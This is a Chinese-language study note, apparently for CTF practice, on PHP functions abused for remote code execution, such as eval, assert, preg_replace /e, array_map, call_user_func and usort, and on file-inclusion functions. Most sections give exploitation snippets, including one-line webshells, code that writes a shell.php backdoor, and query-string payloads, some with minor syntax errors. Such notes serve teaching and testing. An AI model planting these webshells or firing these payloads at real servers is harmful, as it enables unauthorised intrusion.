Web1 命令执行

一.rce中常用的PHP代码执行函数

eval() , assert() , preg_replace() , create_function() , array_map() , call_user_func()/call_user_func_array() , array_filter() , usort()/uasort() ， file_put_contents()

1.eval

执⾏⼀个字符串表达式，该字符串必须是合法的 PHP 代码，且必须以 分号 结尾

https://www.cnblogs.com/linuxnotes/p/3466756.html

使用方式：​
一.
<?php
$a = 199;
eval("echo\$a;"); #输出：199
?>

 //例子
<?php
$str = "array('a'=>'123','b'=>'456')";
eval("\$arr= ".$str.";");
var_dump($arr);
<!--输出：array(2) { ["a"]=> string(3) "123" ["b"]=> string(3) "456" }
-->

//
<?php
$a = $_GET['a'];
eval($a);
//a = eval($_GET['1']);&1=phpinfo();
?>
二.
<?php
eval($_POST['a']);
?>
//如果想在a中再放一个可以任意控制的参数绕过正则检测
不能直接令a=$_POST[1]
尝试：
a = system($_POST[1]); //1可以执行一些系统命令
//例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>
<!--输出：This is a $string $time morning!
This is a beautiful winter morning! -->

2.assert

assert 函数 是直接将传⼊的参数当成 PHP代码 直接，不需要以分号结尾，加上也可以。

说明：

1.PHP 5

   assert(mixed $assertion, string $description = ?): bool

2.PHP 7

   assert(mixed $assertion, Throwable $exception = ?): bool

3.如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。

断言：https://www.php.net/manual/zh/regexp.reference.assertions.php

3.preg_replace（）

preg_replace(

string|array $pattern,

string|array $replacement,

string|array $subject,

int $limit = -1,

int &$count = null

): string|array|null

搜索 subject 中匹配 pattern 的部分，以 replacement 进⾏替换。 preg_replace() 函数原本是执行一个正则表达式的搜索和替换，但因为存在危险 的 /e修饰符，使 preg_replace 将 replacement 参数当作 PHP 代码。

利用方式:
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

4.create_function()

通过传递的参数创建⼀个匿名函数，并且返回函数的⼀个名字。

create_function(string $args, string $code): string

第一个参数是函数接受的参数，第二个参数是函数的执行体

 

 警告：此函数在内部执行eval()，因此具有与eval()相同的安全问题。 此外，它具有较差的性能和内存使用特性。  

如果您使用的是PHP 5.3.0或更新版本，则应该使用本地匿名函数。  

利用方式：
$newfunc = create_function('', '$_REQUEST['cmd']');
$newfunc();

5.array_map()

为数组的每个元素应⽤回调函数

array_map(callable $callback, array $array, array ...$arrays): array

array_map()：返回数组，是为 array 每个元素应⽤ callback 函数（回调函数）之后的数 组。 array_map() 返回⼀个 array，数组内容为 array1 的元素按索引顺序为参数调 ⽤ callback 后的结果（有更多数组时，还会传⼊ arrays 的元素）。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。

利用方式
<?php
//func = system
$func = $_GET['func'];
//cmd = ls
$cmd=$_GET['cmd'];
$array[0] = $cmd
$new_array = array_map($func,$array); //返回执行结果后的新数组
//print_r($new_array);
?>

6.call_user_func()/call_user_func_array()

（1）call_user_func() ：把第⼀个参数作为回调函数调⽤

call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed

第⼀个参数是被调⽤的回调函数，后⾯的参数是函数的形参

 返回值：返回回调函数的返回值。

利用方式
<?php
$cmd=$_REQUEST['cmd'];
//cmd = phpinfo()
call_user_func(assert,$cmd);
?>

（2）call_user_func_array() ：调⽤回调函数，并把⼀个数组参数作为回 调函数的参数

  call_user_func_array(callable $callback, array $param_arr): mixed

利用方式：
<?php
$func = $_REQUEST['func'];
$cmd = $_REQUEST['cmd'];
$array['0'] = $cmd
$result = call_user_func_array($func,$cmd);
//print_r($result);
?>

 7.array_filter()

使⽤回调函数过滤数组的元素

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

遍历 array 数组中的每个值，并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true ，则将 array 数组中的当前值返回到结果 array 数组中。

利用方式:
<?php
$func = $_GET['func'];
$cmd = $_GET['cmd'];
$array1=array($cmd);
array_filter($array1,$func)
?>

8.usort()/uasort()

使⽤⽤户⾃定义的⽐较函数对数组中的值进⾏排序

usort(array &$array, callable $callback): bool

本函数将⽤⽤户⾃定义的⽐较函数对⼀个数组中的值进⾏排序。 如果要排序的数组需要用⼀种不寻常的标准进⾏排序，那么应该使⽤此函数。

1.php环境>=5.6才能用

<?php usort(...$_GET);?>
利用方式：
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
2.php环境>=<5.6才能用

<?php usort($_GET,'asse'.'rt');?>
利用方式：
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

https://www.wd0g.com/?p=190

9.file_put_contents()/fputs()

将⼀个字符串写⼊⽂件

file_put_contents(

string $filename,

mixed $data,

int $flags = 0,

resource $context = ?

): int

利用方式：
1.file_put_contents
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test.php',$test);
?>

2.fputs
<?php
fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>')
?>

10.动态函数构造

利用方式：
<?php
a=assert&b=system('ls')
$_GET['a']($_GET['b']);
?>

二.rce（远程代码执行）中常用的包含文件函数

1.include

当包含 .php ⽂件时，可同时运⾏。

利⽤⽅式:

include('flag.php');

或者 include 'flag.php';

姿势绕过

include $_GET[1]?>&1=flag.php

2.highlight_file

语法⾼亮⼀个⽂件，即将⽂件内容全部展示出来。

highlight_file(string $filename, bool $return = false): mixed

这个函数被ban掉的可能性较⼩，可以尝试⾼亮 flag ⽂件

利⽤⽅式:highlight_file 'flag.php'

3.show_source

highlight_file 的别名